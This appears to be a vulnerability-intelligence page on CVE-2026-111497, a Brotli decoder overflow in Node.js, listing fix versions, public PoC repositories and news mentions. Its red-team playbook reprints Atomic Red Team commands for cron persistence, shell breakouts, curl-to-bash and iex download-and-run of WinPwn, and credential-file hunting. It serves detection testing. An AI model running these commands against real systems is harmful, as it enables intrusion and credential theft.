CVE-2026-111497

CRITICAL POC Pub 22/10 Upd 22/10

Overview

This vulnerability is a buffer overflow caused by improper bounds checking in the Brotli decoder implementation, specifically in the c/dec/decode.c source file. The flaw occurs during the decoding process of Brotli-compressed streams, where crafted input can overwrite adjacent memory regions within the decoder's internal state. Affected components include Google Brotli library versions 1.0.3 through 1.2.0 across all supported platforms.

Vulnerability Description

A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

Impact

An unauthenticated attacker can exploit this vulnerability by supplying a malicious Brotli-compressed stream to an application using the affected decoder, resulting in disclosure of sensitive memory contents, denial of service via application crash, or execution of arbitrary code with the privileges of the decoding process. This can lead to full system compromise or data breaches in environments where Brotli decompression is performed on untrusted input. No user interaction or credentials are necessary to trigger the exploit, increasing the attack surface for remote exploitation.

Solution

Users should upgrade any Google Brotli libraries or binaries from versions 1.0.3 through 1.2.0 to the fixed releases 1.0.10, 1.1.1, or 1.2.1 as applicable. Detailed patch instructions and updates are available in the Node.js October 2026 Security Releases advisory at https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high. No workarounds are documented; applying the vendor-provided patches is required to remediate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

No CPE information available.

Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (11)

Repository Author Stars Forks Date Link
dimasma0305/CVE-2026-111497-POC
Reproducible local Brotli decoder proof for CVE-2026-111497 with a self-checking tuned RCE harness
 dimasma0305 9 5 2026-10-22 View
CaterMaoZi/CVE-2026-111497-POC
Nodejs漏洞 CVE-2026-111497 POC
 CaterMaoZi 10 3 2026-10-21 View
hypnguyen1209/CVE-2026-111497
Node.js Brotli Decoder OOB Write to RCE
 hypnguyen1209 3 3 2026-10-22 View
ikow/brotli2crash
CVE-2026-111497 — Node.js Brotli Decoder OOB Write: Deep Analysis & Structural Unreachability Proof. MLEN_MAX = BLOCK_SI...
 ikow 2 1 2026-10-22 View
TheFool-TAROT/CVE-2026-111497-brotli-pwn
CVE-2026-111497: Node.js Brotli decoder OOB write — analysis, PoC, Docker lab
 TheFool-TAROT 1 0 2026-10-22 View
Sami-AlEsh/nodejs-security-check
Agent skill + zero-dependency script: check a Node.js project against the Oct 2026 Node.js security release (Brotli RCE ...
 Sami-AlEsh 1 0 2026-10-22 View
duytien241/nodejs-CVE-2026-111497
 duytien241 0 0 2026-10-23 View
Charlie-Netdevops/node-hostcheck
Read-only Node.js check for the Oct 2026 security release (CVE-2026-111497 Brotli RCE + 9). Finds every install (nvm,...
 Charlie-Netdevops 0 0 2026-10-23 View
incu-tech/october-cyber-family
Security Ways for AI coding agents. First member audits Node.js repos for the Oct 21, 2026 security release (CVE-2026-11...
 incu-tech 0 0 2026-10-22 View
TahuCryptsi/node-brotli-check
Local probe for CVE-2026-111497 (Node.js Brotli decoder OOB write). Fixed in 22.23.4/24.22.1/26.12.1; EOL lines unpatche...
 TahuCryptsi 0 0 2026-10-22 View
AdapptOnAzure/cve-2026-111497-mitigation
 AdapptOnAzure 0 0 2026-10-22 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest HIGH
Sightings Some sightings

Threat Feed

4 events
2026-10-23
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-22
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-21
PoC Published (11 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
57% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell) 
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash) 
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash) 
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell) 
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (1)

Mentions (50)

112 mentions from 98 sources in the last 7 days BuzzFactor 100 / 100

  • social bsky.app @postac001.bsky.social 2026-10-23 11:27 UTC
    Node.js 24.22.0で、細工されたBrotliデータにより、攻撃者が任意のコードを実行できる脆弱性（CVE-2026-111497）が発見されました。
    Open source
  • social news.ycombinator.com bmitch3020 2026-10-23 11:10 UTC
    Brotli vulnerability affects curl and Git
    Open source
  • social infosec.exchange @harrysintonen 2026-10-23 10:41 UTC
    # git command https remote is affected by the # brotli buffer overflow vulnerability CVE-2026-111497 since it enables compression support: https:// github.com/git/git/blob/7e34d8 174dcda3435d1404c9a30bef46afe6c13e/http.c#L2284 https:// git…
    Open source
  • social bsky.app @undercode.bsky.social 2026-10-23 10:27 UTC
    Critical Nodejs Security Advisory: Mitigating Ten Core Vulnerabilities Including Brotli RCE (CVE-2026-111497) + Video Introduction: On October 21, 2026, the Node.js project released critical security updates addressing ten distinct vulnera…
    Open source
  • social bsky.app @stackflag.bsky.social 2026-10-23 10:20 UTC
    CVE-2026-111497 - nodejs Versions of the Brotli compression library from 1.0.3 through 1.2.0, used in Debian’s Node.js packages and the Debian and Google Brotli packages, can be tricked into… Too many irrelevant or confusing CVEs? Use stac…
    Open source
  • code github.com TahuCryptsi 2026-10-23 09:52 UTC
    TahuCryptsi/brotli-distro-check
    Open source
  • social infosec.exchange @harrysintonen 2026-10-23 09:41 UTC
    For some reason, the CVE-2026-111497 buffer overflow vulnerability in the # brotli decoder is mostly associated with # nodejs , but this is a far wider issue. Brotli compression is supported by many client-side applications processing HTTP…
    Open source
  • social bsky.app @firerun.io 2026-10-23 09:37 UTC
    Node.js fixed a high-severity Brotli decoder flaw, CVE-2026-111497. Vercel's WAF blocks inbound attacks but not responses a function fetches. #Firebase #Vercel #Security #NodeJs
    Open source
  • news news.ssbcrack.com 2026-10-23 09:23 UTC
    Node.js issues urgent security fix for critical Brotli decoder flaw (CVE-2026-111497) - SSBCrack
    Open source
  • news twaslnews1.twaslnews.com 2026-10-23 09:17 UTC
    Node.js patches Node2shell flaw with CVE-2026-111497 fix - شبكة تواصل الإخبارية
    Open source
  • social bsky.app @zubiqo.bsky.social 2026-10-23 09:12 UTC
    Crafted Brotli data can trigger RCE on an official Node.js 24.22.0 Linux arm64 build (CVE-2026-111497), Imperva demonstrated after several tries. Node.js patched 22.x, 24.x, and 26.x on Oct 21 with no runtime workaround, and inbound WAF ru…
    Open source
  • social infosec.exchange @securestep9 2026-10-23 09:05 UTC
    Running #NodeJS? #Node2Shell (CVE-2026-111497) can turn malicious Brotli-compressed data into #RCE (Remote Code Execution). Upgrade #Node to 22.23.4, 24.22.1 or 26.12.1 and rebuild your containers. #AppSec👇https://www.aikido.dev/blog/node2…
    Open source
  • social bsky.app @securestep9.bsky.social 2026-10-23 09:05 UTC
    Running #NodeJS? #Node2Shell (CVE-2026-111497) can turn malicious Brotli-compressed data into #RCE (Remote Code Execution). Upgrade #Node to 22.23.4, 24.22.1 or 26.12.1 and rebuild your containers. #AppSec 👇
    Open source
  • social bsky.app @newssecia.bsky.social 2026-10-23 09:03 UTC
    🤖 Node2Shell: RCE on an official Node.js 24.22.0 build (Linux arm64) via crafted Brotli data in the bundled decoder — no debugger, no custom build (CVE-2026-111497). https://thehackernews.com/2026/10/researchers-demonstrate-node2shell-rce.…
    Open source
  • social infosec.exchange @cloud 2026-10-23 09:03 UTC
    🤖 Node2Shell: Imperva demonstrated RCE on an official Node.js 24.22.0 build (Linux arm64) with no debugger or custom build — attacker-supplied code runs via crafted Brotli data fed to the bundled decoder (CVE-2026-111497). 🔗 https:// theha…
    Open source
  • social infosec.exchange @edwardk 2026-10-23 09:00 UTC
    Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data Malicious Brotli data can make an application on an official build of Node.js run attacker-supplied code, security researchers at Imperva have demons…
    Open source
  • social bsky.app @thehackernews.com.web.brid.gy 2026-10-23 08:40 UTC
    Open source
  • social bsky.app @infosec.skyfleet.blue 2026-10-23 08:33 UTC
    Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data
    Open source
  • social mastodon.social @bagder 2026-10-23 08:21 UTC
    The brotli problem is indeed in the C library: CVE-2026-111497: out-of-bounds write permits remote code execution
    Open source
  • social bsky.app @bagder.mastodon.social.ap.brid.gy 2026-10-23 08:20 UTC
    The brotli problem is indeed in the C library: CVE-2026-111497: out-of-bounds write permits remote code execution
    Open source
  • code github.com shivrajem 2026-10-23 08:16 UTC
    shivrajem/node2shell-detect
    Open source
  • social bsky.app @hacks.gr 2026-10-23 08:12 UTC
    Imperva demonstrated remote code execution in official Node.js builds using malformed Brotli data (CVE-2026-111497). Affects lines 22, 24, and 26. Node.js released patches on Oct 21. https://en.hacks.gr/keno-asfaleias-sto-node-js-epetrepe-…
    Open source
  • social mastodon.social @hacksgr 2026-10-23 08:12 UTC
    Security researchers at Imperva demonstrated that malformed Brotli data can achieve remote code execution in official Node.js builds, tracked as CVE-2026-111497. Affected lines include Node.js 22.x, 24.x, and 26.x, involving the bundled Br…
    Open source
  • news thehackernews.com 2026-10-23 07:50 UTC
    Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data - The Hacker News
    Open source
  • social bsky.app @cybowl.bsky.social 2026-10-23 07:37 UTC
    Vulnérabilités critiques (CVSS ≥ 9) · 2 • Cisco Expressway Series (CVE-2026-76466), CVSS 9.8 (Cyberveille) • Node.js (CVE-2026-111497), CVSS 9.2 (Cyberveille)
    Open source
  • social bsky.app @jorijn.jorijn.social.ap.brid.gy 2026-10-23 06:58 UTC
    I am tired boss https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497 #Security
    Open source
  • social bsky.app @estrogen.pro 2026-10-23 06:49 UTC
    I patched 50 systems yesterday. I woke with bind9 to patch today and as I'm about go to to bed there's a nodejs cve similar to the php2shell one from the other day. At least my patch management system hasn't gone offline again after the PH…
    Open source
  • social bsky.app @pmloik.bsky.social 2026-10-23 06:26 UTC
